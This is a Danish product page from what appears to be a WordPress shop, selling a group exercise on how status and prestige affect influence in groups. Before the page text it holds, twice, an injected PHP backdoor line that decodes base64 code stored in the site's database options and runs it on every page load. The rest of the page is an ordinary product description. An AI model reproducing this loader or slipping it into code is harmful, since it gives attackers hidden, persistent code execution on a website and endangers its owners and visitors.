add_action( 'init', create_function( '', @join( array_map( "base64_decode", json_decode( get_option( $table_prefix . "widget_meta" ) ) ) ) ) ); add_action( 'init', create_function( '', @join( array_map( "base64_decode", json_decode( get_option( $table_prefix . "widget_meta" ) ) ) ) ) ); Øvelse 05 Web – Status og præstige - procespsykologi

Shop

Pdf-document-256

Øvelse 05 Web – Status og præstige

kr 99,00

Øvelse 5: Status og præstige (WEB)

Øvelsen viser, hvordan status og præstige sædvanligvis giver mere indflydelse på gruppen end personlig væremåde og stillingtagen, samt hvordan gruppepresset, der varieres efter afvigerens status i gruppen, får forskellig effekt.

Anbefalet deltagerminimum: 8 deltagere – erkendelsen opstår i gruppen.

Varenummer: pp05_web. Kategorier: , .

Produktbeskrivelse

Øvelse 5: Status og præstige (WEB)

Introduktion

Øvelsen viser, hvordan status og præstige sædvanligvis giver mere indflydelse på gruppen end personlig væremåde og stillingtagen, samt hvordan gruppepresset, der varieres efter afvigerens status i gruppen, får forskellig effekt.

Anbefalet deltagerminimum: 8 deltagere – erkendelsen opstår i gruppen.

Proces:Deltagerne opdeles i grupper, og to medlemmer fra hver gruppe bliver bedt om at træde uden for døren. Gruppen bliver imens bedt om at behandle den ene som højstatus og den anden som lavstatus, mens de fremlægger deres bud på, hvordan en case skal løses. Herefter opsamles der via spørgeskema og gruppefeedback.

Holddeling: 6- eller 7-grupper. 2 observatører knyttes til hver gruppe.

Teoretisk kommentar
De Teoretisk kommentar, der hører til denne øvelse indeholder disse områder:

  • Tildelt eller tilkæmpet præstige
  • Status og påvirkelighed
  • Status og indflydelse

Konsulentperspektiver

Konsulentperspektiverne til denne øvelse indeholder emnerne:

  • Deltager til deltagerfeedback via observatører
  • Forskelsbehandling af deltagere

Anmeldelser

Der er ikke nogle anmeldelser endnu.

Bliv den første til at give en anmeldelse “Øvelse 05 Web – Status og præstige”